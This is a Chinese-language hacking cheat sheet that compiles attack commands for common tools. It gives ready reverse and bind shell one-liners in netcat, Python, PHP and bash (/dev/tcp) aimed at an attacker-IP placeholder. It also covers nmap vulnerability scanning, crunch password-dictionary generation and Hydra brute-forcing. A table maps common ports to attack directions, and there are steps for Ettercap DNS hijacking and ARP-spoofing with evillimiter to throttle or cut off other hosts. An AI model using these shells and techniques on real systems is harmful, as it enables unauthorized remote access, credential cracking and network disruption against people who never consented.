Netcat(nc)
Linux中使用 nc 反弹shell
正向获取(内网)
目标机开启监听并发出shell文件,攻击机进行连接
目标机:nc -lvp 6666 -e /bin/bash
攻击机:nc 目标机IP 6666
反向获取(外网)
攻击机开启监听,目标机进行连接并发出shell文件
攻击机:nc -lvp 6666
目标机:nc 攻击机IP 6666 -e /bin/bash
使用python
攻击机:nc -lvp 6666
目标机:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
使用php
攻击机:nc -lvp 6666
目标机:php -r '$sock=fsockopen("攻击机IP",6666);exec("/bin/sh -i <&3 >&3 2>&3");'
或者:php -r '$sock=fsockopen("攻击机IP",6666);exec("/bin/bash -i <&3 >&3 2>&3");'
使用linux自带命令bash
攻击机:nc -lvp 6666
目标机:bash -i >& /dev/tcp/攻击机IP/6666 0>&1
nmap
功能
主机发现、端口扫描、版本侦测、操作系统侦测
常用参数
-T4:指定扫描过程的级别,级别越高扫描速度越快,但也越容易被防火墙或者IDS屏蔽,一般推荐使用T4级别
-sn:只进行主机发现,不进行端口扫描
-O:进行系统版本扫描
-sV:进行服务版本扫描
-p:扫描指定端口
-sS:发送SYN包扫描
-sT:发送TCP包扫描
-sA:发送ACK包扫描
-sU:UDP扫描
-PO:不进行ping扫描
-script:指定脚本扫描
常见的6种 Nmap端口状态及其含义
-
open:开放的,表示应用程序正在监听该端口的连接,外部可以访问
-
filtered:被过滤的,表示端口被防火墙或其他网络设备阻止,不能访问
-
closed:关闭的,表示目标主机未开启该端口
-
unfiltered:未被过滤的,表示nmap无法确定端口所处状态,需进一步探测
-
open/filtered:开放的或被过滤的,Nmap 不能识别
-
closed/filtered:关闭的或被过滤的,Nmap 不能识别
常用的nmap命令
nmap 192.168.1.1 扫描单个目标
nmap 192.168.1.0/24 扫描192.168.1.0这个网段
nmap 192.168.1.1 -p 21.22,23,80 扫描192.168.1.1这个地址是否开放了某端口
nmap -sS -T4 -sV 192.168.1.1 以sS.方式扫描,级别为T4,结果详细输出,扫描192.168.1.1
nmap -ss-p1-65535 -v 192.168.1.1 扫描192.168.1.1目标主机全部端口
nmap --script=vuln 192.168.1.135 采用脚本扫描的方式,扫出对方存在的漏洞
crunch
Crunch是一种创建密码字典工具,按照指定的规则生成密码字典,可以灵活的制定自己的字典文件。使用Crunch工具生成的密码可以输出到屏幕,保存到文件、或另一个程序。
命令格式
crunch <min-len> <max-len> [<charset string>] [options]
参数
min-len 最小长度字符串,即使不使用参数的值,也需要此选项
max-len 最大长度字符串,即使不使用参数的值,也需要此选项
charset string 字符集设置,默认是小写字符集
options
-b 指定文件输出的大小,避免字典文件过大
-c 指定文件输出的行数,即包含密码的个数
-d 限制相同元素出现的次数
-e 定义停止字符,即到该字符串就停止生成
-f 调用库文件(/etc/share/crunch/charset.lst)
-i 改变输出格式,即aaa,aab -> aaa,baa
-I 通常与-t联合使用,表明该字符为实义字符
-m 通常与-p搭配
-o 将密码保存到指定文件
-p 指定元素以组合的方式进行
-q 读取密码文件,即读取pass.txt
-r 定义重某一字符串重新开始
-s 指定一个开始的字符,即从自己定义的密码xxxx开始
-t 指定密码输出的格式
-u 禁止打印百分比(必须为最后一个选项)
-z 压缩生成的字典文件,支持gzip,bzip2,lzma,7z
特殊字符,通常与 -t 配合使用
% 代表数字
^ 代表特殊符号
@ 代表小写字符
, 代表大写字符
实操使用
crunch 2 4 > 1.txt 代表创建2-4位的字母字典到1.txt
crunch 6 6 123 -o 1.txt 代表生成六位以123元素为组合的字典集,并输出到1.txt
crunch 1 1 -q read 表示读取read文件中每行内容作为基本字符生成字典
crunch 4 4 -t %^@, > 1.txt 表示生成长度四位的字典集,第一位为数字,第二位为特殊字符,第三位是小写字符,第四位是大写字符
crunch 6 6 -f /usr/share/crunch/charset.lst hex-lower -o 1.txt 表示以charset.lst密码库的hex-lower模块为字符集,生成长度为6的字典集,输出到3.txt
xhydra
Xhydra称为九头蛇,是一款登录爆破神器,Hydar几乎可以爆破各种协议的登录,比如windows的远程桌面、ssh、ftp、路由交换设备等等。著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。
端口是计算机之间依照互联网传输层TCP/IP协议的规定通信,不同的规定对应不同的端口。范围在0-65535,其中固定端口0-1023,1024是保留端口,动态端口就是剩下的1024-65535。可以理解为传输数据用的。
常见端口的攻击思路
端口号 | 端口说明 | 攻击方向 |
---|---|---|
21/22/69 | FTP/TFTP文件传输协议 | 匿名上传/下载、嗅探、爆破 |
2049 | NFS服务 | 配置不当 |
139 | Sanba服务 | 爆破、远程代码执行 |
389 | Ldap目录访问协议 | 注入、匿名访问、弱口令 |
22 | SSH远程连接 | 爆破、SSH映射隧道搭建、文件传输 |
23 | Telnet远程连接 | 爆破、嗅探、弱口令 |
3389 | RDP远程桌面连接 | SHIFT后门、爆破 |
5900 | VNC连接 | 弱口令爆破 |
5632 | PyAnywhere服务 | 密码抓取、代码执行 |
80/443/8080 | 常见Web服务端口 | Web漏洞、爆破、对应服务器版本漏洞 |
7001/7002 | WebLogic控制台 | JAVA反序列化、弱口令 |
8080/8089 | Jboss/Resin/Jetty/Jenkins | 反序列化、控制台弱口令 |
9090 | WebSphere控制台 | JAVA反序列化、弱口令 |
4848 | GlassFish控制台 | 弱口令 |
1352 | Lotus-domino邮件服务 | 弱口令、信息泄露、爆破 |
10000 | Webmin-Web控制面板 | 弱口令 |
3306 | MySQL | 注入、提权、爆破 |
1433 | MsSQL数据库 | 注入、提权、SA弱口令、爆破 |
1521 | Oracle数据库 | TNS爆破、注入、反弹Shell |
5432 | PostgreSQL数据库 | 爆破、注入、弱口令 |
27017/27018 | MongoDB | 爆破、未授权访问 |
6379 | Redis数据库 | 未授权访问、弱口令 |
5000 | SysBase/DB2数据库 | 爆破、注入 |
25 | SMTP邮件服务 | 邮件伪造 |
110 | POP3协议 | 爆破、嗅探 |
143 | IMAP协议 | 爆破 |
53 | DNS域名系统 | 允许区域传送、DNS劫持、缓存投毒、欺骗 |
67/68 | DHCP服务 | 劫持、欺骗 |
161 | SNMP服务 | 爆破、搜集目标内网信息 |
2181 | Zookeeper服务 | 未授权访问 |
8069 | Zabbix服务 | 远程执行、SQL注入 |
9200/9300 | Elaseicsearch服务 | 远程执行 |
512/513/514 | LinuxRexce服务 | 爆破、Rlogin登录 |
873 | Rsync服务 | 匿名访问、文件上传 |
3690 | SVN服务 | SVN泄露、未授权访问 |
50000 | SAP Management Console | 远程执行 |
ettercap
Ettercap最初是交换局域网的嗅探器,但在开发过程中,它获得了越来越多的功能,从而使其转变为强大而灵活的中间人攻击工具。它支持许多协议(甚至是加密协议)的主动和被动解剖,并包括许多用于网络和主机分析的功能。
Ettercap常用指令
用户界面类型
-T,-text 使用之显示字符的界面
-q,-quiet 安静模式,不显示抓到的数据包内容
-G,-gtk 使用GTK+GUI,开启图形化模式
日志选项
-w 将嗅探的数据写入pcap文件
-L 此处记录所有流量
ettercap -G
DNS劫持:
vim /etc/ettercap/etter.dns
192.168.213.133为攻击机IP
断网工具(evillimiter)
安装
git clone https://github.com/bitbrute/evillimiter.git cd evillimiter sudo python3 setup.py install
键入evillimiter
或python3 bin/evillimiter
来运行该工具。
evillimiter命令
命令 | 解释 |
---|---|
scan (--range [IP Range]) | 扫描您的网络以查找在线主机。启动后要做的第一件事之一。 --range 允许您指定自定义 IP 范围。 例如:scan --range 192.168.178.1-192.168.178.40 或者只是scan 扫描整个子网。 |
hosts (--force) | 显示之前扫描的所有主机/设备及其基本信息。显示交互所需的每个主机的 ID。 --force 强制显示表格,即使它不适合终端。 |
limit [ID1,ID2,...] [Rate] (--upload) (--download) | 限制与指定 ID 关联的主机的带宽。速率决定互联网速度。 --upload 仅限制传出流量。--download 仅限制传入流量。有效速率:bit ,kbit ,mbit ,gbit ,例如: limit 4,5,6 200kbit 或limit all 1gbit |
block [ID1,ID2,...] (--upload) (--download) | 阻止与指定 ID 关联的主机的互联网连接。 --upload 仅限制传出流量 --download 仅限制传入流量。 |
free [ID1,ID2,...] | 解除与指定 ID 关联的主机的限制/阻止。删除所有进一步的限制。 |
add [IP] (--mac [MAC]) | 将自定义主机添加到主机列表。MAC 地址将自动解析,也可以手动指定。 例如:add 192.168.178.24 或add 192.168.1.50 --mac 1c:fc:bc:2d:a6:37 |
monitor (--interval [time in ms]) | 监控有限主机的带宽使用情况(当前使用情况、使用的总带宽……)。 --interval 设置带宽信息刷新后的间隔(以毫秒为单位)(默认为 500 毫秒)。 例如:monitor --interval 1000 |
analyze [ID1,ID2,...] (--duration [time in s]) | 分析主机流量,不受限制,以确定谁使用了多少带宽。 --duration 指定分析的持续时间(以秒为单位)(默认为 30 秒)。 例如:analyze 2,3 --duration 120 |
watch | 显示当前监视状态。监视功能可检测主机何时使用不同的 IP 地址重新连接。 |
watch add [ID1,ID2,...] | 将指定主机添加到监视列表。 例如:watch add 6,7,8 |
watch remove [ID1,ID2,...] | 从监视列表中删除指定的主机。 例如:watch remove all |
watch set [Attribute] [Value] | 更改当前监视设置。可以更改以下属性: range 是扫描重新连接的 IP 范围。 interval 是每次网络扫描之间等待的时间(以秒为单位)。 例如:watch set interval 120 |
clear | 清除终端窗口。 |
quit | 退出应用程序。 |
? ,help | 显示与此类似的命令信息。 |
-
仅限制 IPv4 连接,因为ARP 欺骗需要仅存在于 IPv4 网络上的 ARP 数据包。